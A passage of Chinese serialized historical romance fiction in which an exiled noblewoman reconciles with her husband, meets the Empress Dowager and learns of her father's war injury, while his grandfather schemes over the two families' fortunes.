江清辞感到无奈,他知道有一些事情是她故意为之,比如故意叫他在众女在场的场合里出现,为她撑腰,为她长脸。 他以为她的小心机都是为了面子而已。 没想到导致他对她产生感情的全过程,都是假的。 “你知道,在选定你之前,我父亲还给我看过许多家男子的画像和家世吗?” 那时候云舒月还小,对事情的概念并没有多深的了解,但她也知道要挑就挑最好的呀。 这他倒是真没想到呢。 他捏了捏眉心:“等等,你慢些说。” 对于板上钉钉的妻子的坦白,他很难不感到失落。 “说完假的,现在该说真的了。” 江清辞抬眸看她,神色复杂。 云舒月又伸手抱他,闭上眼,想吻他的唇。 两唇即将相触的刹那,江清辞闭了闭眼,避开了。 云舒月睁开眼看了看,又闭上眼,吻上了他的脸颊。 她伸出双手搂住他的脖子,又沿着他的脸颊往下吻,吻至他的脖子。 江清辞脑中回忆起那时候的她,很多举动,他当初宁愿怀疑自己心性不坚,也不愿怀疑她。 他只当月儿生性如此,生性就是极讨人喜欢的,尤其讨他喜欢,叫他喜欢得不得了,叫他甘愿为她生、为她死。 云舒月如今的吻娴熟多了,毕竟她长大了好多。 他们二人是亲密得不能再亲密的关系。 她现在娴熟而缠绵地亲吻他时,他用力克制浑身的颤栗,垂眸撞进她的眼,她轻轻咬住他的肩头,侧头看他,他看到了一双极为灵动,又因动情而潋滟的眼。 他伸手掌住她的脸,想叫她挪开,她却侧头咬住了他的指节。 从前的事情太多太多了,云舒月有些不想评判,她想,她此刻应是喜爱他的。 她依偎他,她喜爱他的身体,喜欢夜里或是白日里的欢好,也喜欢他无时无刻都在她身后。 更喜欢他白衣胜雪,玉冠束发,喜欢他偶尔笑起来时微抿的唇,喜欢他明明受了她的欺负还毫不在意,还有在她面前失了自尊时强装的高傲。 云舒月觉得自己极会抒发爱意,她眉眼间纯净而动人,望向他时,毫无保留地倾诉了爱意。 江清辞好像信了,因为他闭上眼,开始凑近她了。 “月儿,”唇齿交缠间,他唤她唤得模糊不清,将她整个人都往自己怀里带,“你离我近些。” 他用力地吻着,云舒月被他弄得有些喘不过气,只得紧紧地抓着他的衣襟。 她一边后退,一边从嘴角溢出“咯咯”的笑声,那是一种得逞后的笑,是一种逗弄了他一番他还是只有臣服的笑。 但她难得的,想宠溺他一次,他要她靠得更近些,她便更紧地环住他的腰,双手攀上他的脖颈,手指伸进他的发根,抚摸他的耳垂,对他的头颅爱不释手。 江清辞的手开始游走,从她的腰侧慢慢向上,抚过她的脊背,最后停留在她的发间,手指轻轻缠绕着她的发丝。 云舒月对他一碰即离的抚摸感到颤抖,她微微仰起头,发出一声低低的呻吟。 在她脖子上昂时,他伸手剥开她肩上的衣领,露出一截雪白圆润的间,他张嘴,咬了下去。 云舒月吃痛,咬了咬牙,终是没把他推开。 她咬了他那么多回,也换他咬她一回,云舒月也不知自己今天是怎么了,格外惯着他。 她向来以自我为中心,是绝不吃亏的性子。 却放任他在她肩上留下了深深的一个牙印,挺疼的。 这样的痛感反倒让云舒月越发动情,她方知,在爱人身上吃的亏,那不叫亏。 可江清辞从她肩头抬起时,眼神已逐渐变得清明。 她将脸放在他的手掌里,轻轻依偎着。 晚上,二人同榻而眠,分别有自己的一只枕头和被子。 江清辞在后来很长的一段时间内都未曾与她亲近。 她时而会吻他,而他也会回应她的吻。 在白日里,他吻得动情而深入,会挟住她的脖颈,加深这个吻。 在晚上,他俯身将吻落在她眉间,蜻蜓点水般,又离开。 云舒月往往气得直捶床:“江清辞,我们不是夫妻吗?” 江清辞道:“是的,是的啊。” “夫妻之间该做的事情,你为何不与我做。” 云舒月剥开寝衣,露出一件桃粉色的鲜艳肚兜,几乎快裹不进她的肉。 这场面很难不让人血脉偾张。 她跨坐在他身上,江清辞将两只手交叠放在枕上,仰头似笑非笑地看她。 他长睫扇动,盖下眼眸,掩藏了其中的动情。 在云舒月看来,他便是在打量她。 “月儿,现在还不是时候。” 他抿唇劝着。 云舒月不解:“为何不是时候?” 江清辞动了动唇,不知该作何解释,他只是,觉得这件事应该极为相爱的时候做。 他伸手抽开她肚兜上的挂绳,将她整个身体袒露在眼前,又拿过棉质的寝衣,替她套上。 夜里,云舒月睡觉很不安分,到了越来越燥热的月份了。 江清辞见她在睡梦中出了汗,便拿起一把大蒲扇,一下一下替她扇着。 她额前的发丝一下一下拂动着,衣领也一下一下张开着,但她总算是睡得安稳了。 太后与太皇太后的銮驾到达这一日,云舒月正顶着烈日在地里浇水。 她每日细心照料着菜苗,生怕它们被烈日照得蔫吧了。 江清辞率黔州一众大臣,早在数日前就开始密切筹备恭迎太后与太皇太后的事宜。 各级官员分工明确,此时正值午时,日照最为灼人的时候,各官员身着朝服,整齐地 候于城外官道两侧。 官员们按照品级高低一次排列,除江清辞以外,江家无其余人到场。 最前方,仪仗队伍手持金黄的幡旗、斧钺等,在阳光下金光闪闪。 云舒月恍然抬头时,听到一阵鼓乐齐鸣。 江清辞率先撩起官袍下摆,跪地叩首,高呼:“恭迎太皇太后、太后圣驾——” 身后官员纷纷跪地高呼。 云舒月此时才听到那些响彻云霄的“恭迎圣驾”声。 她干完地里的活儿,扛着锄头便回了家。 王姨娘做了一桌子饭菜:“二小姐回来了,坐过来吃。” 她给家中几人发了筷子,一里之外正在进行的盛况,与她们这一家人并无关系。 角落里,婴孩儿躺在一张小床上,时不时地会哭嚎两声。 王姨娘每次要上前去哄,云舒月都拦着她:“他是个男子,得叫他学会坚强。” 王姨娘心中满是迟疑,但,但还是听二小姐的吧。 弟弟的名字还没起,王姨娘说要等云明旭回来了再起。 云舒月没说话,很久了,还是没收到父亲的消息。 云明旭醒来时,面前正有一黑衣人在他面前晃。 “这是哪儿?你是谁?我为何在这儿?” 潘黄是在一个山崖下找到他的。 “你别害怕,我是江三公子派来保护你的暗卫。” 云明旭心里狂喜:“保护我?我再也不必担惊受怕了?” 潘黄神色复杂,但还是点了点头:“嗯。” 云明旭挣扎着从床上起来,却觉得始终有些费劲儿,是哪里使不上力呢。 他抬起头一看,自己的右腿从膝盖处,消失了,消失了~ 云明旭的瞳孔瞬间放大,脸上的血色刹那褪去,变得惨白如纸。 潘黄在他变得更激动前,按住了他:“你一连高烧数日不退,命跟腿,我只能先保你的命。” 再说了,云明旭还算运气好的,战场上多少人已经丢了性命。 潘黄笑着道:“一条腿而已,拄根拐就又能走了。” 云明旭一把掐住他的脖子,目眦欲裂:“我要杀了你——” 可他又想到了自己在战场上的儿子,他只是失了条腿,可儿子,儿子一定要平安无事啊。 “我摔下去之前听到了重要情报,你快去军营里报信!” 潘黄凛目听他说完,只觉报信不是自己的活,保护云明旭才是。 “我扛着你回军营,你自己去报。” 与此同时,武家军的营地里正在为一场小型战役的胜利欢呼。 “云鸿祯,你是好样的,竟能一招取下敌军首领的首级,本将将你提拔为副将,今后跟在本将身边一起冲锋陷阵如何?” 云鸿祯生得壮实,力气又大,虽并无多少战斗技巧,在战场上却极为好用。 当时在敌阵中,云鸿祯一路左突右撞,长枪毫无章法地乱舞,可偏偏就凭着这股子蛮劲。 第69章 第69章这股子蛮劲竟让敌人…… 这股子蛮劲竟让敌人一时难以近身,打着打着,云鸿祯瞧见不远处有个骑着高头大马、身着华丽战甲的人,一个蛮力冲过去,眼睛一瞪,长枪一扫,一枪给他扎进了心脏。 那将领一心只注意着前方的武将军,那才是他的大敌,完全忽略了后方毫不起眼的小兵。 毕竟小兵打小兵,大将打大将,这不是一贯规则吗? 云鸿祯此时憨傻劲儿退了大半,在亲手杀死过敌人之后,他身上的武将之风逐渐显现了出来。 武志远觉得此人颇为好用,又本身是个罪犯,不必考虑他的伤亡。 大不了,到时候拿着他的功劳,换他家里人得赏。 太皇太后住了太和殿,太后住了永晖殿,江清辞侍奉在侧。 太后打量了他几番:“你们江家的几个,在此地待得可好啊,可怨过皇帝。” 按理说,江家人该前来拜见一番太后,但太后不宣,人也来不了。 江清辞垂首道:“回太后,此地很好,皇上自有苦衷,臣岂敢怨。” 纵使江家有着根深蒂固的权势根基,这猛然被一连根拔起所有人撤出京城三年,必是有损失的。 皇命不可违,但江家自有底线。 太后笑道:“既然待得好,那便多待一待。” 意味不明的一句话,江清辞不得不从中揣测皇上心思,以便叫祖父早做打算。 “好了,哀家累了,也该歇息了,你退下吧。” “微臣告退。”江清辞垂首敛目,极为恭敬地退了出去。 他回到书房,收到了潘黄寄来的信。 云舒月不在,他松了口气,决定自己先读完信再说。 他展开信件,蹙着眉头读完。 在他看来,事情并不算最遭,能保住一条命已是天大的好事。 可此事,月儿不一定接受得了。 他愁的是,此事该如何告知于她。 他烦闷地在屋子里来回踱步,月儿必是不能接受的。 可事情,不能不跟她说。 与此同时,江崇礼在遥远的山林居所中,收到了来自北方战场的另一封信。 “战局竟出现了变数,老夫属实没能想到。” 江崇礼神色轻松,抚着胡须,目光透过窗户,望向远方,似要看穿那千里之外正在发生的一切。 “这变数就是云鸿祯。” “看来云家命数又要起来了啊。” 一旁的小厮恭敬问道:“大人,那事情还照旧推进吗?” 江崇礼慢悠悠道:“照常推进便是,只是这云鸿祯的功劳,得再给他夸大些,再往宫里递信运作运作,确保传到皇上耳朵里时,是天大的功劳。” 那小厮不解:“大人为何要帮云家。” 既是大人亲手运作,事情必是做得隐蔽自然,本来在战场上立了功再一级一级传到皇上耳朵里,那必然是逐级递减,天大的功劳也成了皇上的不以为意,而江崇礼是要让云鸿祯的功劳逐级递增地传到皇上耳朵里。 这忙可帮大了。 江崇礼想着与自己最满意的孙子一直牵扯不清的云家老二,摆摆手:“也不算是帮,老夫也有私心。” 云家老二再怎么说,也几乎是在自己眼皮子底下长大的,老人对晚辈,再怎么也有几分偏爱与情意。 就算不想让她做自己的孙媳妇,给她点好处也是可以的嘛。 那云家老二攀附自己孙子不就是为了回京城吗,江崇礼决定,撤回一个孙子,再把云家顺顺利利、热热闹闹、风风光光地送回京城去。 收一个给一个,他也是对云家仁至义尽。 那小厮道:“可二夫人那边……” 薛亦秋可说了,江清辞必须娶云舒月,否则就是败坏了道德。 江崇礼不以为意地摆手:“都说了,我是给一个收一个,云二到时候知道该怎么办的。” 到时候云家风光了,再让云二知道,他江家回不去了,他江崇礼亲口说,他们不回京了,要在黔州彻底隐居下来。 若那个时候,云二还是执意要嫁,那江崇礼自无话可说,她重情重义,叫她做江家未来主母又有何妨。 那小厮彻底佩服:“大人想得周全。” 江家给云家仁义是给够了的,也不枉两人一番青梅竹马的情意。 太后午后悠悠转醒,这黔州的风光真是好啊,叫她身子骨都松快了许多。 两名宫女轻轻走上前,一人手持蘸过温水的毛巾,另一人端着茶盏,里面盛着香气扑鼻的新茶。 太后微微抿了一口茶,惬意地叹了口气。 “太后午后想去什么地方逛逛?”身边的贴身嬷嬷细心问道。 一旁负责服饰的女官展开一件轻便的华服。 “听说这行宫的花园修得甚是巧妙,便去看一看吧。” 嬷嬷搀着她的手:“等一会儿太阳阴些了再去吧。” 太后抬起头:“哦,外面日头还正盛呢?我竟不知。” 屋内实在凉爽,光线不过,再一看,窗户上都额外挂了一层透风不透光的纱帘。 太后笑着点点头:“这行宫修得确实好。” 嬷嬷道:“太后满意就好,去偏厅里看看?” 太后欣然应允,一觉醒来,心情好得很。 踏入偏厅,映入眼帘的便是一座屏风,上面绘着山水图,云雾缭绕的山峦一座座叠嶂。 “太后,您往窗外看。” 太后侧头看去,山外景象竟与这屏风上的一模一样,竟是照比这绘出来的。 不禁叫人惊叹:“真是妙啊,将实景绘于屏风之上,倒让哀家有了一种人在画中游的感觉。” “只是不知,这是哪位画师的画作,照奴婢猜 想,太后怕是又要给赏咯。“邓嬷嬷一边说着,一边往屏风的角落上看。 这一看,给她看尴尬着了。 当时云家落难,众人心里难免想着,云二姑娘怕是要来找太后求情,谁承想,云家人走得急,太后又说,今后不必再提起云二姑娘了,怕是有些厌了她的。 可此时,屏风角落那极为熟悉的落款——“云氏舒月”,让邓嬷嬷张了张嘴,一时不知该说些什么。 太后便也将目光扫过去:“若是有功劳的画师,哀家当赏。” 待她定睛一看,愣了愣,又叹了声气,脸上神情淡然,稍微有些惊讶,又有一丝不易察觉的动容。 “说起来,云家好像正是被流放到牢城营的吧。”也不知当初那个聪慧伶俐的丫头如今怎么样了。 邓嬷嬷迟疑着,没有开口,也不知太后是否有要召见的意思。 太后没再开口,却看了那张屏风很久。 半晌,她绕过屏风走到书案旁,没再看那张屏风。 “云二丫头画功见长。” 邓嬷嬷听太后这么说,忙道:“是呢,要不说是您亲眼看着长大的孩子呢,当初因她一幅画,受了您‘京中第一才女’的褒奖,看来她没辜负您。” 邓嬷嬷心里思忖着,太后对云二姑娘,多少还是有情分在的,瞧瞧,这话音都慈祥了许多。 太后坐到书案前,又翻看着书架上的古籍。 邓嬷嬷道:“这里有一本,《黔州风土志》,太后看看?” 太后摇了摇手,指了指书架上一本用绸缎包裹起来的《诗经》。 邓嬷嬷见状,连忙帮她取下来,笑着道:“太后无论走到哪儿,独爱读读诗经,也是巧了,独独这本被包了绸缎,您拿着不硌手。” 太后接过《诗经》,缓缓翻开,轻声吟诵起来。 当初云舒月不开窍,还是太后教她的“青青子衿悠悠我心”。 也不知为何,到了此情此景,总想起此女。 太后读了一会儿,摇了摇脑袋:“罢了,外头太阳下去些没,咱们去花园里吧。” 邓嬷嬷赶忙走到窗边,掀起一角纱帘,向外瞧了瞧,回神禀报道:“太后,日头已经偏西,不那么晒人了。” 太后微微颔首,起身在嬷嬷与一众宫女的簇拥下,朝着花园走去。 还未靠近院子,一股子清淡的花香袭来,顿时消去了人身上的暑气。 再往前走一些,太后不禁停下脚步:“这芍药开得好生繁盛。” 邓嬷嬷在一旁笑着应和:“黔州的水土好,养出来的花儿也好,太后定要在此地多住住。” 沿着蜿蜒的石子路前行,一座八角亭出现在眼前,亭子周身朱红漆色,精致非凡。 亭内石桌上,摆放着一套天青色的茶具,从亭子里望出去,不远处是一方池塘,荷叶田田,又正是荷花盛开的季节。 见太后在此地坐下了,邓嬷嬷给太后倒了茶。 太后环视四周,忽然抿唇笑了。 邓嬷嬷轻声道:“太后可是觉得,这一路上,无一不是按着您心意安排的,看来,黔州的官员很是用心了。” 太后笑而不语。 一阵风吹过,带来一阵清脆的铃声,太后循声望去,只见花园的一角,挂着几个精致的风铃。 风铃声在花园里回荡~回荡~ 叫太后想起了许多年前自己曾赏给云舒月的一只风铃。 “罢了,她处处想要哀家记起她,又是实打实用了心意的,便将她召来,哀家见一面吧。” 太后轻声说道,目光从风铃上离开,开始饮那一早在石桌上备好的茶,神情又是一滞。 云舒月正在家中午睡,午后总是睡不醒,整个人都懒洋洋的。 起来后,她到王姨娘的房里逗了逗弟弟,又吃了些糕点。 不一会儿,传旨的人来了,全家都惊慌起来。 但大抵是高兴更多。 “太好了,二小姐,太后娘娘还记挂着你呢。” 王姨娘从箱笼中翻找出一件宫装,这还是谢琅送云舒月那件呢,她没有别的华贵衣裳了。 云舒月从藤椅上做起来,摇摇头,指着身上的棉布褂子道:“我就穿这个吧。” 王姨娘不太赞同:“这样失礼。” 云舒月道:“我现在就是一介草民,哦不,一介罪犯,穿那个才不合适呢。” 王姨娘这才作罢,她也只是想二小姐去见太后时,状态能好些。 “那好歹,叫诗筠给你把头发梳一梳吧。” 她刚从床上起来,头发还乱着。 云舒月坐在镜子前,伸手将头发全都捋到身前,快速地编好了两个粗黑的大麻花辫。 诗筠连上手的空隙都没有。 铜镜里,一双眼睛分外明亮,两颗瞳仁犹如黑曜石,一张脸出落得更加明艳了,两只麻花辫垂在胸前,身上一件洗得发白的棉布褂子。 江清辞给了她许多新衣服,但云家的衣服都被勤快的王姨娘飞快地洗了又晾,晾了有洗,云舒月不喜欢浪费,便就这旧衣裳穿也没什么。 云舒月伸手将耳边碎发别到耳后,王姨娘看她看得出神。 太后坐在亭子里没等多久。 “太后,云二姑娘来了。” 太后放下茶盏,抬眸望去。 第70章 第70章圣上还愿意把云家抬那么…… 她不是没好奇过现在的云二丫头是个什么样子。 曾经的千金小姐,京城第一贵女,如今沦为阶下囚,吃了不少苦。 太后本是打算再不见她的,见她有什么意思呢,一个罪臣之女,无论出于什么理由,她都没道理再见的。 大抵,这姑娘早已不是从前的样子了。 牢城营里的罪犯每天都吃些什么,做些什么,太后大抵能想到。 她还能是当年那个,伏在她膝头上撒娇,逗她开心的云二姑娘吗? 终是往昔情分消散,两人泾渭分明罢了。 可她今日实在是见到了太多云二的影子,叫她不得不想她。 让她下定决心召见云二的,是她发现,云二与从前并无分别。 此地处处有云二的影子,而且,那些影子是刻意出现的。 太后心想,既然你那么想见我,那我便见你一面。 她以为,云舒月过来,会卑微,会臣服,会指望她给出一些赏赐,或是求她带她离开。 可云舒月一走进来,见着太后,礼也不行,瞬时红了眼眶。 “太后——月儿好想您。” 太后微微一怔,当年那个聪慧讨巧的小姑娘,已经匍匐到她脚边了。 伏在她膝上嘤嘤泣着,太后看着她,心突然松了。 “你这丫头,许久未见,怎的连规矩也不会了。” 太后佯装指责,声音却不自觉地柔和下来。 云舒月这才恍然,连忙退后两步,跪在地上磕了头。 起来时,地上都是泪。 太后本还想着,她这般哭,许是诉苦来的。 可是一看她,这孩子除了穿得差了些,戴得差了些,看起来精神极了! 简直像个被养得极好的农家大闺女。 “云二丫头,你起来叫哀家好好瞧瞧。” 云舒月乖顺地站起身,任由太后拉着她的手,正面转一圈,反面转一圈。 太后细细端详着她,眼中满是感慨。 “你这孩子,吃苦了吧。”但是精气神还在,倒让她意外。 太后一边说着,一边轻轻抚摸着云舒月的手,越摸越滑腻,越摸越细嫩,比她的老手还要细嫩得多。 太后都快纳了闷 了,又看见她手心的旧伤疤。 那是当年在采石场留下的,许多伤是养不回来的,还有她手臂上的鞭痕。 云舒月摇摇头:“太后,我没吃多少苦,江校尉治下的牢城营,很好。” 云舒月看到,在他提到江校尉时,太后的脸色变了变。 看来,太后不喜欢江清辞。 云舒月很乖,那她便不提了。 “那你在牢城营,平日里都做些什么?” 云舒月如实答了:“刚来的时候在采石场,每天扛石头,后来去了灰浆坊,每天蒸糯米,再后来到行宫做了画师,画了一阵子,行宫修好了,上面又叫我们去梯田种地,不过种出来的粮食大多都被官兵拉走了。” 她说得眉飞色舞,好似一切过往都是轻松度过的。 可太后怎会信呐,只觉得这丫头有的地方没变,有的地方变化好大。 原来在她绘制出那张屏风之前,已经做过那么多的事情了,又吃了那么些苦。 太后轻轻叹了声气:“难为你了,从前在京里,你可是十指不沾阳春水的。” 云舒月摇摇头:“母亲说,到什么地方,就做什么事,现在我已经到了牢城营,我就该好好劳作,若是,若是月儿哪日有幸再回了京中,那自然又只一心陪着太后,带着众姐妹一同与太后调笑取乐,不会去做那些粗活了。” 说道后面,她的声音小了些,面上表情也收敛了许多。 太后听了,心中一动,拉着云舒月重新坐下:“你这丫头,倒是豁达,今日见你,哀家心里也宽慰了许多。” 二人在亭子里坐了许久,攀谈甚欢。 邓嬷嬷在外头听见太后是不是的“咯咯”笑声,心中感慨颇深。 怪不得太后从前唯独偏爱云二姑娘,瞧瞧,现在也只有她逗得笑太后。 可一下午的时间过去,太后始终未曾松口,说要为云家脱罪,或是要带走云舒月的话儿来。 云舒月也不恼,也不急,她只做她该做的。 只是,父亲的消息怎么还没传来。 到了傍晚,云舒月被嬷嬷请着走了。 她走后,邓嬷嬷道:“太后,用晚膳吧。” 太后并未开口叫云舒月留下用膳,邓嬷嬷自然是要先将人请走的。 太后看着桌上的菜式,今日胃口甚好。 不禁又想起,陪了她一下午的云舒月。 “对了,云家如今生活过得如何,若有什么缺的,你送些过去吧。” 邓嬷嬷应了声:“好,生活上应是没什么缺的,他们吃的都是自己地里种的菜,自己院儿里养的牲畜。” 太后冷哼一声:“这个江校尉,这是把牢城营改成了什么样子。” 邓嬷嬷道:“也算好事,否则您今日哪能见到那么活蹦乱跳的云二小姐。” “并且,现在牢城营里的男子都充了军,大家日子虽好过,却没什么指望。” 太后点头:“是该让那些人受到惩罚才对。” 可转念一想,又道:“那岂不是,云家的男子也去了?” 邓嬷嬷道:“那可不嘛。” 太后“啧”了两声:“真是个可怜孩子。” 邓嬷嬷又道:“您猜猜桌上这盘儿青菜,是从谁的地里摘的。” 云舒月离开太后那里时,没有回家,上了丹奉台。 江清辞拖不下去了,她父亲的消息务必告知她。 云舒月听完,沉默了很久。 山上风呼呼的吹,江清辞将她拉进了房间里。 云舒月眼眶瞬时红了,泪水在眼眶里打转。 江清辞伸手拭去她的泪,面色凝重,他便是知道她不能接受,所以不忍说出口。 “好在,潘黄接下来会一直保护他,他不会出事了,会好好活着回来见你。” 可云舒月只觉一阵天旋地转,她父亲与她是一类人,也因此,她格外能共情父亲,想象不到父亲失去一条腿的痛苦。 “他是那样骄横的一个人,他与我一样,也无时不在想着重新威风的那一天,可他再也等不到那一天了。” 那种遗憾是,就算回了京,他仍会被人耻笑,而在这牢城营发生的一切,永久永久洗不掉,就算身居高位地安享了晚年,也会在每次低头时,想起这段屈辱。 那是永远无法掩盖,也无法重来的伤害。 更何况,父亲这样,官复原职是绝不可能的事情了。 他便只能这样,在家里被养着,被家里的人恭敬着,过完一生。 云舒月太懂那种遗憾了,而她的残疾父亲,也会是永久打在她身上的烙印,旁人提起时,总会想到,她与她的家人,在牢城营度过的日子。 “月儿,能保下一条命回来,已经是天大的好事了,你往好处想想。” 云舒月理解不了江清辞所说,江清辞也无法理解云舒月所想。 但云舒月就是这么一个人,父亲失了一条腿,首先想到的是将来如何面对外人的目光。 她是极要面子的一个人。 可江清辞能怎么办呢,难不成,一直保密云明旭残疾的这件事情,就能让她舒服些吗。 在他看来,云明旭有人照顾,有人护卫,回来后也有妻妾围绕,丢失一条腿,对他而言不会造成任何不便。 云舒月气着道:“你为何不早些派去暗卫?” 她质问得突然,江清辞愣了一下,眉毛蹙起,眼里满是愧疚。 “抱歉。”当他抱歉。 云舒月紧咬下唇,心中突如起来的愤怒难以平息:“为何占了好处的全是你们江家,为何你永远过得比我好,为何你永远不用担心家人的安危,你只是投了一个好胎而已,凭什么处处胜我一筹!” 江清辞彻底被噎住,他无话可说,是啊,凭什么。 他伸手抱她:“我们是夫妻,我的家人就是你的家人,你的家人也就是我的家人,岳父出事,我并不比你轻松多少,你今后有一个残疾父亲,而我今后也有一个残疾岳父,你有在牢城营生活过的一家子,我也有在牢城营生活过的岳家,你我本就是一体,你想要的我的东西,你随时便能拿走,你可以将我掏空,将我杀死,也不能说我凭什么处处胜你一筹。” 云舒月被他抱着,挣脱了一阵儿,但他的双臂突然像铁钳一般,叫她挣脱不开,但她确实冷静了一些了。 原本剧烈起伏的胸膛渐渐趋于平缓,她知道自己为何生气了,因为她从未当他是家人,是爱人。 可如果抒发痛苦时,对方告诉你,他也很痛苦,她又该如何。 她好像没那么痛苦了。 江清辞微微松开怀抱,双手搭在她肩头,目光温柔且坚定:“别说那样的话了,月儿。” 云舒月在他怀里慢慢软下来:“所以,我的痛苦可以分你一半吗?” 江清辞颔首:“可以。” “我父亲什么时候能回来?” “战事还没结束,不过你父兄身边都有暗卫,别担心。” 她抬头望他:“你可需要我为你做些什么?” 从头至尾,她一直是索取的那个。 江清辞抿唇笑着:“不需要,你只要别又一次,在我落难的时候,又离开我就好了。” 云舒月问他:“你还会落难吗?” 江清辞摇头:“人生很长,谁能说得清呢?” 云舒月垂下头,她不信,也毫不在意他说的这个话。 “你说的我答应你就是。” 江清辞将她抱得更紧了。 与此同时,云鸿祯立功的事情虽然没有传出来,但私底下,有心之人已经运作起来了。 而云明旭虽然做了一阵子疑似“逃兵”,但他回营后,不仅断了条腿,还带回了重要情报。 武志远都不得不对这父子俩刮目相看。 这些消息,自然逃不过隐居山林的江崇礼的眼。 “立功好啊,都立功才好啊我这就传信回京,这次这父子兵二人,定是要改写云家命运了。” “大人,您也不必做这么多了,已经够了。” 江崇礼道:“不够,还不够,我要将云家捧得越高越好,就当是送云二的礼物了,她与我家清辞青梅竹马这么多年,我这个做长辈的,还没送过她什么呢。” 小厮不解:“为何要捧得越高越好呢?” 江崇礼抚着胡须道:“我可以骗走她一次,但江家终究是要回京的,待江家回了京,两人又看对眼了该如何?” 小厮问:“那您的意思是?” 江崇礼眼底闪过一道精光:“你信皇上当真不忌惮我江家吗?” 小厮道:“自是忌惮的,可您身上有先皇的尚方宝剑不是?皇上忌惮,又有什么用呢?” 江崇礼点头道:“是呢,皇 上奈何不了我江家,可若云家是咱们亲家,你猜圣上还愿意把云家抬那么高吗?” 70-80 第71章 第71章娶她进门,还是给她权势…… 要自家的荣耀,还是舍弃自家,保与江家的婚事,云二又不傻。 江崇礼可不做棒打鸳鸯的扫兴长辈。 一切决定,皆交由他们自己来做。 而他不但没做什么坏事,还好心给云家送了大礼。 薛亦秋知道公公的打算,但她的观念不同,她认为他们江家要对云二负责的。 江崇礼只一句话:“负责?是娶她进门,还是给她权势?你觉得哪个更负责。” 薛亦秋比较轴:“云二是女孩子,您说什么才是负责?当然是娶她进门。” 江崇礼跟二儿媳无话可说。 “你是家主还是我是家主?听我的就行了。” 他不耐烦的挥挥手,薛亦秋还能说什么呢,家主都发话了。 今日,太后这里又有新的热闹。 起初是邓嬷嬷捧给她看了一本流传在黔州民间的诗集,上面没有署名,也不知道是谁写的,唯独写了个“微光诗社”。 “太后,这‘微光诗社’,是个什么组织?” 太后翻阅着诗集看了看,道:“应是个女孩子们成立的江湖组织吧,哀家看这诗社办得还不错,又有诗集,又有琴谱,你看,这画像上还记录了她们每次集会的状况。” 邓嬷嬷看去:“哎哟,还真是。黔州竟有这么个组织,这些女子真是不得了。” 太后点头道:“正是,哀家既然来了此地,那便在这行宫举办一次赏花宴吧,也叫黔州这些女子可以效仿京中女子参加雅集的模样。” 邓嬷嬷道:“是好事呢,也好叫些年轻姑娘来,给太后解解闷儿,只是这人选……” 太后拿着诗集,笑着道:“这不是有现成的嘛。” 邓嬷嬷迟疑道:“除了她们,黔州官员家的……” 怎料太后却摆手:“在京中看惯了那些千金贵女的嘴脸,这次就别邀请那些官员家的闺女了。” 邓嬷嬷笑着应了好,怎料打听完消息回来,一脸的无奈。 太后见她这副模样,便问道:“何事?竟让你这副表情。” 邓嬷嬷指着那诗集上的集会画像上的人头:“太后,您看这像谁?” 太后眼睛有些老花了,觑着眼,盯了一会儿:“像谁?你就别卖关子了。” 邓嬷嬷扬了扬下巴,好似与有荣焉般:“这微光诗社的堂主啊,竟就是云二姑娘,这微光诗社的成员,除了有牢城营里的各位姑娘外,在民间也招收了不少女子呢,两边每月同时举行雅集,只是不在同一个地方,但都会画像记录下来,太后您看。” 邓嬷嬷翻着那些记录画像的册子,一张一张给太后看。 有繁花锦簇的庭院为背景,也有清幽的溪边为背景。 几位女子围坐一起,面前摆着琴,有的两人对坐,面前摆着棋。 也有一些实在一间略显简陋的院子里,众女围在一起,似正在讨论一幅画作。 太后看得出神,树林里、溪边、简陋的院子里,都有云舒月的身影。 “是她,我现在看出来了,这是她,哟,这旁边这位又是谁呢,看着好眼熟。” 邓嬷嬷笑道:“谭家的、乔家的、郑家的,都在呢。” 太后翻阅得出神,真是意想不到,这牢城营的女子,依她看,比京中雅集办得还要有趣。 尤其是这个乔婉宁,她还记得,乔婉宁小时候进宫赴宴,趁人不注意能爬到她宫殿前的树上去,此时看着倒还文静,她看着是打心底的喜欢。 “既然如此,这赏花宴,便叫微光诗社的姑娘们都过来吧,这云二丫头啊,不得不说,哀家真是喜欢她得紧。” 邓嬷嬷道:“那丫头您从小不就喜欢吗,只是后来云家出了事,您也不好干预。” 太后点头:“正是,正是。” “这诗集甚好,哀家要往京里寄一些,叫皇上和太子也看看,也叫京中那些下巴扬得比头高的贵女们看看。” 邓嬷嬷偷笑:“云二姑娘从前可是下巴扬得最高的一个。” 太后道:“她有那个本事,她当然扬得高。” 太后替云二姑娘说话,邓嬷嬷也不拆穿她。 太后要邀微光诗社赴宴的消息,接到的人是谭君雅。 她很快找到云舒月,说了这个消息。 云舒月便将众女集合起来,商议赴宴事宜。 乔婉宁道:“没想到之前的宣传有用,咱们的诗集能被太后看见,就能被皇上看见。” 谭君雅道:“可不是嘛,这可都是我的功劳,我为了在店里推销诗集,可费了大劲儿呢。” 对于在场的所有女子来说,能到太后跟前露面,那是天大的好事。 云舒月道:“大家到时候,就还是做平常打扮,咱们往常是什么样的,去见太后就是什么样的。” 赏花宴当日,晨光熹微,行宫大门敞开,为了迎接她们的到来。 太后心里也高兴,人老了就喜欢热闹。 姑娘们没有华丽的衣裳,也不似皇宫里那样莺莺燕燕,她们都穿着普通的棉布一群,每个人都干净整洁,各有各的娇俏美感。 野花编织的花环点缀发髻,也是颇有韵味。 “云二,你到哀家跟前来。” 太后朝云舒月招招手,云舒月穿着淡蓝色的布裙,头上簪着花。 “太后,姐妹们都来了。”她羞涩地垂下头,还有些不好意思。 太后挨个望去:“时间太久了,哀家有些记不清了,你是……张家的不是?” 张小姐道:“正是呢,太后好记性。” 说完,她行了一个大礼。 太后瞧着她们个个精气神都还不错,有的还出落得更加漂亮了。 其实她心里啊,颇有些惋惜,都是好姑娘,可惜后半生都只能消磨在牢城营了。 “这诗社办得很好,哀家没什么好赏你们的,也知道,你们父兄现如今都在战场上,哀家保证,这次无论他们能不能回来,只要父兄没有做逃兵的,哀家都宣你们无罪,想必皇帝不会计较这点小事。” 云舒月虽从来不觉得自己有罪,但也知道太后此言意味着什么。 意味着,她至少至少,是个平民了。 谭君雅心里一咯噔,完了,临行前她还彻底嘱咐的父兄,让他们一路上寻找机会,能逃的赶紧逃。 都是被迫上战场的,谁的命不是命啊。 不过还好,谭君雅本来就是个黑户。 众女忙跪地谢恩。 江清辞得了祖父的信,回家了一趟。 “祖父,可是有什么事?” 江崇礼将刚从前线收到的消息递给他,他的情报网比江清辞要全,江清辞未能完全从祖父那里继承来江家势力。 “武将军又打了胜仗,不日便要班师回朝了。” 江清辞点头,这是好消息,但他不知祖父叫他过来做什么。 